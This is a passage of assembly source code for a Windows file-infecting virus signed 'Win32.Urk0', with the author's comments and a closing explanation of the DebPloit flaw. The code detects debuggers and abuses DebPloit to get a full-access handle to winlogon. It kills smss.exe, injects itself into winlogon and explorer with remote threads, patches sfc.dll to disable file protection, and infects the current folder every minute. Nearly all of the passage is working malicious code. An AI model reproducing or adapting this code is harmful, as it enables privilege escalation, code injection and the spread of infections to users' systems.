pop  eax
GezApi eax,Module32NextCRC,M32NNameLen
;eax -> Module32Next
mov [esp + 548 + PROCESSINFORMATIONSIZE],eax ;we save it
NextModule:
;esp + 32 + 256 -> name of module with path(becoz GetModuleFileName gives entire path)
mov esi,esp
add esi,32 + 256
CalcLenString
```

```
mov edi,ecx
call CRC32
;eax = CRC of name of module we have got
push eax
mov  edi,[esp + 548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4]
mov  esi,esp
add  esi,548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4 + 4
call CRC32
;eax = CRC of our module
pop edx
cmp edx,eax
je FoundModule
push esp
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
push ecx
mov eax,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + 4]
;eax -> Module32Next
call eax
jmp NextModule
FoundModule:
;yeah!!!! ;)
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE];base kernel
GezApi eax,CloseHandleCRC,CHNameLen
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
push ecx
call eax
;snapshot closed
;now we recover information for returning parameters and ret ;)
mov ecx,[esp + 20]
mov edx,[esp + 24]
mov eax,[esp + 548]
mov esi,[esp + 548 + 4]
mov ebx,[esp + 548 + 8]
mov edi,[esp + 548 + 12]
add esp,548 + 16 + 68 + 4 + 200 + 4
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetExplorer
;In:
;   eax = base of kernel
;   esi -> buffer for storing name
;Out:
;   esi ->buffer
;   ecx = bytes of name
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetExplorer:

push   esi
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
;eax -> GetWindowsDir
pop    esi
push   esi
push   200
push   esi
call   eax
pop    esi
CalcLenString
mov    edi,esi
add    edi,ecx
mov    byte ptr [edi],'\'
inc    edi
mov    dword ptr [edi],'LPXE'
add    edi,4
mov    dword ptr [edi],'RERO'
add    edi,4
mov    dword ptr [edi],'EXE.'
add    edi,4
mov    dword ptr [edi],0
CalcLenString

ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;DetectSICE try to detect softice,and in the case softice was detected,then stop execution.
;in:
;   eax = kernel base
;out:
;   none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DetectSICE:
pushad
push eax
```

```
;check sice in 9x
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000001h
push 0c0000000h
lea esi,[ebp + SICE9X]
push esi
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
jz NoSICE9X
call $
NoSICE9X:
mov eax,[esp]
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000001h
push 0C0000000h
lea esi,[ebp + SICENT]
push esi
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
jz NoSICENT
call $
NoSICENT:
pop eax
popad
ret
SICE9X db "\\.\SICE",0
SICENT db "\\.\NTICE",0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NT ZONE !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!
;NT ZONE !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!
;NT ZONE !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!
;NT ZONE !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!
;NT ZONE !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Well...now we are in NT.We will fight agresively against NT for
;getting full privileges ;/ Virus its very different if we are
;in NT.Here we dont load and dont inject code to explorer.exe.
;Here we will try to get full privileges with some methods
;and later we will infect files.


;NT part works in this manner: i try to get anough privileges to open winlogon and
;inject code there(with i WannaCanDebug).If i dont get anough,i use a second method.
;I use a flaw in NT.I havent discovered that flaw.I speaking about Debploit method.
;You can search about this in www.securiteam.com in NT focus.With this,i connect to
;dbgss and i say it that it gives me a duplicate handle to winlogon,however,it will
;give me it with full privileges :D ... There is a problem with this...If i say
;dbgss i am the debugger of winlogon,and winlogon is my debugee process(i attach
;it) when my process terminated,winlogon will finish too and system will reboot.
;For this reason,when i infect winlogon,since winlogon injected code,i kill smss
;(where is implemented dbgss) and smss will not kill winlogon.In this manner,only first
;infected file executed will inject code in winlogon becoz when second infected program
;was executed,it will not find dbgss.
;In winlogon,virus disable sfp with Ratter and Benny method(29a number 6).Later,it
;gets a handle to explorer and inject code there,and create a remote thread in
;explorer:There,ExplorerCode is executed.This code will infect current folder of
;explorer.exe each 60 seconds.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;NTInvasion try to KILL NT ;O
;in:
;   eax = kernel base
;out:
;   none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NTInvasion:
mov ecx,cs
xor cl,cl
jecxz ContinueNT
ret
ContinueNT:
mov [ebp + NtKernel],eax
callz GetLibrarys

callz DebuggerTrickz
```

```
callz FreeLibrarys
ret
NtKernel dd 0
NtAdvapi dd 0
NtPsapi  dd 0
NtRasapi dd 0
Ntdll    dd 0
;;;;;;;;;;;;;;;;;;;;
GetLibrarys:
pushad

;first,ill try to get ntdll base from PEB structure

mov eax,dword ptr fs:[30h]    ;PEB pointer
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
mov eax,dword ptr [eax +  8h] ;ntdll.dll base
mov [ebp + Ntdll],eax

mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
push eax
lea ebx,[ebp + advapi]
push ebx
call eax
mov [ebp + NtAdvapi],eax
lea ebx,[ebp + psapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtPsapi],eax
lea ebx,[ebp + rasapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtRasapi],eax
pop eax
popad
ret
advapi db 'advapi32.dll',0
psapi db  'psapi.dll',0
rasapi db 'rasapi32.dll',0
;;;;;;;;;;;;;;;;;;;;
FreeLibrarys:
pushad
mov eax,[ebp + NtKernel]
GezApi eax,FreeLibraryCRC,FLNameLen
push eax
push dword ptr [ebp + NtAdvapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtPsapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtRasapi]
call dword ptr [esp + 4]
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DebuggerTrickz try to gain privileges.
;in:
;   none
;
;out:
;   eax = 1 no error eax = 0 error
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DebuggerTrickz:
pushad
or eax,eax
jz NoTrickGoOut
callz GetWinlogon
or eax,eax
jz ContinueTrick
NoTrickGoOut:
popad
ret
ContinueTrick:
;now i have a handle to winlogon.exe...however i only have this access:
;PROCESS_VM_READ and PROCESS_QUERY_INFORMATION
;now we need a handle to the process but with VM_WRITE,...privileges.
;ill try to open Winlogon with full privileges...if i dont get it
;with full privileges ill use same method as debploit exploit.
;You can read about this in www.securiteam.com NT focus...
;in august of 2002 if i remember well.

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
```

```
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + WinlogonID]
push 0
push 43Ah;privileges i need
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz Debploit
sub esp,80h
callz AttackWinlogon ;)
or eax,eax
jz DebuggerNoError
jmpz DebuggerError

Debploit:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax

mov ecx,20h
SaveSpaceMESSAGE:
push 00000000h
loop SaveSpaceMESSAGE ;space for DBG_SS_CP_LPC_MESSAGE

mov eax,[ebp + Ntdll]
GezApi eax,NtConnectPortCRC,NCPNameLen
push 0
push 0
push 0
push 0
push 0
lea ebx,[ebp + SECURITY_QUALITY_OF_SERVICE]
push ebx
lea ebx,[ebp + USbuf]
mov [ebp + PUSbuf],ebx
push eax
mov eax,ebx
xor edx,edx
mov ebx,2
div ebx
or edx,edx
jz NoAlign
lea ebx,[ebp + USbuf2]
mov [ebp + PUSbuf],ebx
NoAlign:
pop eax
;well...here we have a problem...read about NTSTATUS_DATATYPE_MISALIGNMENT
;(80000002h)for knowing this problem and you will discover how Microsoft
;do a easier life for you :P Why i must align a data for giving
;parameters to a api...WHYYYYY??? Why M$,the richest company in the world,
;cannot do a S.O that aligns my datas!!??? :( Why i must spend two days
;trying to solve this problem!!!! damn ;(

lea ebx,[ebp + UNICODE_STRING]
push ebx
lea ebx,[ebp + PortHandle]
push ebx
call eax;ZwConnectPort
;note i call apis from ntdll.dll with a call instead a syscall...however they can be
;called with a syscall too.
cmp eax,080000000h
jae DebuggerError
mov eax,[ebp + Ntdll]
GezApi eax,DbgUiConnectToDbgCRC,DUCTDNameLen
call eax
cmp eax,080000000h
jae DebuggerError

;for now,all right...now i must send a message to dbgss,
;a create process request,and it will give me a duplicated handle
;to the process that ill specify in the message...with a small
;different...this handle will have PROCESS_TERMINATE,
;PROCESS_CREATE_THREAD!!!,PROCESS_VM_READ,
;PROCESS_VM_OPERATION,PROCESS_VM_WRITE!!!,PROCESS_DUP_HANDLE,
;PROCESS_QUERY_INFORMATION,READ_CONTROL privileges ;D

;we have already reserved space for DBG_SS_CP_LPC_MESSAGE
;in the stack in the start of debploit zone.You can see
;DBG_SS_CP_LPC_MESSAGE struct in the end of virus code

mov word ptr [esp],38h        ;DataSize
mov word ptr [esp + 2h],80h   ;MessageSize
mov dword ptr [esp + 18h],2h  ;CREATE_PROCESS_REQUEST
mov eax,[ebp + WinlogonID]
```

```
mov dword ptr [esp + 20h],eax ;debugee PID...that i want duplicate handle

mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessIdCRC,GCPINameLen
call eax
mov dword ptr [esp + 2ch],eax ;debugger PID...me

mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentThreadIdCRC,GCTINameLen
call eax
mov dword ptr [esp + 30h],eax ;debugger TID...me too

push esp
push dword ptr [ebp + PortHandle]
mov eax,[ebp + Ntdll]
GezApi eax,ZwRequestPortCRC,ZRPNameLen
call eax

;now we dont need msg space reserved in stack so we use that space in
;stack for or DEBUG_EVENT



WaitEvent:

push 512
;esp + 4 -> DEBUG_EVENT
mov eax,esp
add eax,4
push eax
mov eax,[ebp + NtKernel]
GezApi eax,WaitForDebugEventCRC,WFDENameLen
call eax

mov eax,[esp + 4] ;dwProcessId
mov ebx,[esp + 8] ;dwThreadId
push 00010002h ;CONTINUE_DEBUG
push ebx
push eax
mov eax,[ebp + NtKernel]
GezApi eax,ContinueDebugEventCRC,CDENameLen
call eax
cmp dword ptr [esp],3 ;DugEventCode == CREATE_PROCESS_DEBUG_EVENT???
je GoodEvent
jmpz WaitEvent
GoodEvent:
;we have got the waited debug event and there
;we can find the duplicate handle to winlogon :D

mov eax,[esp + 10h] ;DEBUG_EVENT.u.CreateProcessInfo.hProcess
mov [ebp + WinlogonHand],eax ;we save the handle with full acess to winlogon

;now i have a problem.When this process terminates,winlogon will terminate too becouse
;winlogon is the debuggee process and this is the debugger.
;i think a dramatic solution...terminate smss.exe.smss initiates winlogon and win32 subsystem
;and when system hangs,it take the control and draw the blue screen of death :P.In addition
;it has implemented the dbgss.If only these are their functions,we can terminate smss and in
;this manner smms will not terminate winlogon after my process terminates...in addition we
;have broke debug subsystem ;)
;Ill do this since winlogon later i inject my code there.
;note if smss is terminated,next time virus will be executed it will not find dbgss subsystem
;and by this reason it will not infect winlogon again.

callz AttackWinlogon
or eax,eax
jnz DebuggerError

DebuggerNoError:
add esp,80h
popad
xor eax,eax
inc eax
ret
DebuggerError:
add esp,80h
popad
xor eax,eax
ret


PortHandle dd 0

UNICODE_STRING:
USlen    dw 26
USmaxlen dw 28
PUSbuf   dd 0

db 0
```

```
;i have two strings becoz if USbuf is not alignmented then USbuf2 is it.
USbuf    dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0
db 0
USbuf2   dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0


SECURITY_QUALITY_OF_SERVICE:
SQOSlen             dd 12
ImpersonationLevel  dd 2;SecurityImpersonation
ContextTrackingMode db 1
EffectiveOnly       db 1
                    db 34h
                    db 00h


;;;;;;;;;;;;;;;;;;;;
GetWinlogon:  ;in:none  out: WinlogonHand with winlogon process handle
                  ;                  eax = 0 if no error
pushad
mov ecx,200h
SaveSpaceSearchingWinlogon:
push 00000000h
loop SaveSpaceSearchingWinlogon
;esp -> array of id of processes
mov eax,esp
lea ebx,[ebp + Needed]
push ebx
push 4*200h
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessesCRC,EPSNameLen
call eax
dec eax
jnz GetWinlogonOutError_
;esp -> array
mov esi,esp
lodsd
SearchWinlogon:
lodsd
push esi
or eax,eax
jz GetWinlogonOutError
;vvv
mov [ebp + WinlogonID],eax
push eax
push 0
push 10h or 400h
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz NoWinlogonFound
;eax = process handle
mov [ebp + WinlogonHand],eax
lea ebx,[ebp + Needed]
push ebx
push 4
lea ebx,[ebp + WinlogonModuleHand]
push ebx
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessModulesCRC,EPMNameLen
call eax
dec eax
jnz NoWinlogonFound
push 50
lea eax,[ebp + WinlogonModuleName]
push eax
push dword ptr [ebp + WinlogonModuleHand]
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtPsapi]
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
call eax
lea esi,[ebp + WinlogonModuleName]
lodsd
or eax,20202020h
cmp eax,'lniw'
winl equ $ - 4
jne NoWinlogonFound
lodsd
or eax,20202020h
cmp eax,'nogo'
ogon equ $ - 4
jne NoWinlogonFound

;^^^
WinLogonFound:
pop esi
```

```
GetWinlogonOut:
add esp,4*200h
popad
xor eax,eax
ret

NoWinlogonFound:
pop esi
jmp SearchWinlogon

GetWinlogonOutError:
pop esi
GetWinlogonOutError_:
add esp,4*200h
popad
xor eax,eax
inc eax
ret

;;;;;;;;;;;;;;;;;;;
AttackWinlogon: ;in:none
                    ;out: eax = 1 error eax = 0 no error

push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push EVirus - SVirus
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax
or eax,eax
jz AttackWinlogonError
mov [ebp + WinlogonVirusBase],eax

mov ecx,[ebp + NtKernel]
mov ebx,[ebp + WinlogonHand]
lea edx,[ebp + SVirus]
mov esi,EVirus - SVirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackWinlogonError
push 0
push 0
lea  eax,[ebp + Needed]
push eax;pointer to a variable to be passed to the thread function
mov eax,[ebp + WinlogonVirusBase]
add eax,WinlogonCode - SVirus
push eax
push 0 ;stack size
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
or eax,eax
jz AttackWinlogonError

AttackWinlogonNoError:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
ret

AttackWinlogonError:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
inc eax
ret


Needed           dd 0
WinlogonModuleHand dd 0
WinlogonModuleName db 50 dup(0)
WinlogonHand       dd 0
WinlogonID         dd 0
WinlogonVirusBase  dd 0
SmssHand           dd 0
ExplorerHand       dd 0
ExplorerID         dd 0
ExplorerVirusBase  dd 0
```

```
ExplorerModuleHand dd 0


db "Win32.Urk0 Coded By ValleZ",0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
WinlogonCode:

;When i inject code to winlogon,i create a remote thread that will start execution here

pop eax ;remove parameter passed
callz WinlogonCodeDoff
WinlogonCodeDoff:
pop ebp
sub ebp,offset WinlogonCodeDoff

callz GetLibrarys

mov dword ptr [ebp + winl],'lpxe'
mov dword ptr [ebp + ogon],'rero'
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
mov eax,[ebp + WinlogonHand]
mov [ebp + ExplorerHand],eax
mov eax,[ebp + WinlogonID]
mov [ebp + ExplorerID],eax
mov eax,[ebp + WinlogonModuleHand]
mov [ebp + ExplorerModuleHand],eax

mov dword ptr [ebp + winl],'ssms'
mov dword ptr [ebp + ogon],'exe.'
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
mov eax,[ebp + WinlogonHand]
mov [ebp + SmssHand],eax

mov dword ptr [ebp + winl],'lniw'
mov dword ptr [ebp + ogon],'nogo'

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + WinlogonID];really smss.exe ID
push 0
push 1h;privileges that i need for terminating smss.exe
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen ;i open smss.exe
call eax
push 0
push dword ptr [ebp + SmssHand]
mov eax,[ebp + Ntdll]
GezApi eax,NtTerminateProcessCRC,NTPNameLen
call eax

;i have terminated smss.exe and now it cannot kill winlogon ;D i dont know if this method
;is a few dramatic...i know if i kill smss.exe i fuck dbgss(mmm im thinking then im
;fuckin debbugers :-m ),and when windows terminates with error smss will not show
;the typical blue screen(this is a problem???)...i dont know if i am fuckin other
;importants parts...i have not read others funcionalitys...only it loads winlogon
;and win32 subsystem(csrss.exe),however this task is already done.I think i can
;kill smss.exe.

;now,i am in w1nl0g0n with M4x Pr1v1l3g3s ;D in this point our imagination will do all
;first,i will disable sfp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SfcDisable:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

lea eax,[ebp + sfc]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
call eax
or eax,eax
jz ErrorSfcDisable
mov [ebp + NtSfc],eax
mov esi,[eax + 3ch]
add esi,eax
;esi -> PE
movzx eax,word ptr [esi + 14h];size of optional
mov ecx,[eax + esi + 18h + 10h];size of section
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
add esi,dword ptr [ebp + NtSfc]
```

```
;esi -> code section

SearchCodeToPatch:
pushad
lea edi,[ebp + CodeToSearch]
mov ecx,11
rep cmpsb
popad
je CodeToPatchFound
inc esi
loop SearchCodeToPatch
jmpz ErrorSfcDisable

CodeToPatchFound:
;now we patch code with a call to ExitThread
push esi
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
pop esi
mov [ebp + PatchExitThreadDir],eax
push esi
;i unprotect the mem where i go to patch
;UnprotectMem
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.
;   ebx -> handle of the process where is the memory.If 0 this process
mov eax,[ebp + NtKernel]
mov ebx,0
mov ecx,_PatchCode - PatchCode
callz UnprotectMem
pop esi
mov edi,esi
lea esi,[ebp + PatchCode]
mov ecx,_PatchCode - PatchCode
PatchIt:
movsb
loop PatchIt

ErrorSfcDisable:

;if we have jumped here without executing CodeToPatchFound part,sfc is not disabled
;now ill infect files
;first all,ill uncrypt since SCode to SCode part

;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so
;now we must search the key using brute force

xor ecx,ecx
mov edx,dword ptr [ebp + SCode]
WLWhatKey:
xor edx,ecx
cmp edx,000000E8h
je  WLKeyFound
xor edx,ecx
loop WLWhatKey
WLKeyFound:
mov edx,ecx
;edx = key
mov ecx,(ECode - SCode)/4
lea esi,[ebp + SCode]
WLUncrypt:
dec ecx
xor dword ptr [esi + 4*ecx],edx
or ecx,ecx
jnz WLUncrypt
mov eax,[ebp + NtKernel]
mov  [ebp + kernel],eax  ;code since SCode to ECode uses kernel variable so
                                 ;i must initializate it

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
AttackExplorer:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;now ill inject the code to explorer.exe from winlogon and there ill hook CreateFileA api ;)
;i thought to hook FindFirstFile and FindNextFile in explorer but i think its anought
;with CreateFileA

push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + ExplorerID]
push 0
push 43ah;privileges that i need
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
```

```
call eax
or eax,eax
jz AttackExplorerError
mov [ebp + ExplorerHand],eax

push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push EVirus - SVirus
push 0
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen


call eax
or eax,eax
jz AttackExplorerError
mov [ebp + ExplorerVirusBase],eax

mov ecx,[ebp + NtKernel]
mov ebx,[ebp + ExplorerHand]
lea edx,[ebp + SVirus]
mov esi,EVirus - SVirus


Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackExplorerError
push 0
push 0
lea eax,[ebp + Needed]
push eax ;pointer to a variable passed as parameter to thread function
mov eax,[ebp + ExplorerVirusBase]
add eax,ExplorerCode - SVirus
push eax
push 0;stack size
push 0
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax


AttackExplorerError:

push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ExitWinlogonThread:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

push 0
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
call eax


sfc db 'sfc.dll'
NtSfc dd 0
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
PatchCode:
push 0
mov eax,11111111h
PatchExitThreadDir equ dword ptr $ - 4
call eax
_PatchCode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

ExplorerCode:

callz NtExplorerDOffset
NtExplorerDOffset:
pop ebp
sub ebp,offset NtExplorerDOffset


CurrentFolderInfection:

mov eax,[ebp + NtKernel]
GezApi eax,SleepCRC,SNameLen
```

```
push 60000 ;1 minute
call eax ;Sleep for 1 minute

mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentDirectoryACRC,SCDNameLen
lea ebx,[ebp + buffy]
push ebx
push 256
call eax
lea ebx,[ebp + buffy]

callz InfectCurrentFolder

jmpz CurrentFolderInfection
;since explorer,virus will infect current folder in intervals of 1 minute


buffy db 256 dup (?)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Pad2:
PADDING2 equ  4 - (((Pad2 - ECode) - (4*((Pad2 - ECode)/4))))
db PADDING2 dup (0)
EVirus:
end start
end
```

HERE YOU CAN FIND SOME EXTRA INFORMATION FOR VIRUS UNDERSTANDING

DebPloit allows Everyone to get handle to Any process or thread.
Handles have enough access to promote everyone to system/admin
(in the case Target is running under LocalSystem, Administrator account).
Works on: Any MS Windows NT 4.0, Windows 2000 (SPs before Mar-12-2002).
Former NTs weren't tested. Discovered: Mar-09-2002. Author: Radim "EliCZ" Picha.
Bugs@EliCZ.cjb.net. http://www.anticracking.sk/EliCZ. Details: Exploit\DebPloit.h.
Principle: Ask debugging subsystem (lives in smss.exe) to create (duplicate) handle(s)
to Target for you:
1. Become dbgss client (DbgUiConnectToDbg).
2. Connect to DbgSsApiPort LPC port (ZwConnectPort).Everyone has access to this port.
3. Ask dbgss to handle CreateProcess SsApi with client id (or pid or tid only)
of Target (ZwRequestPort).
4. Wait for dbgss to reply with CREATE_PROCESS_DEBUG_EVENT (WaitForDebugEvent).
Message contains duplicated handle(s).
5. When debugger's thread terminates(e.g. on logoff), Target process or thread is
terminated too (like it was regularly debugged).

```
struct _DBG_SS_CP_LPC_MESSAGE {
    USHORT DataSize;            //00
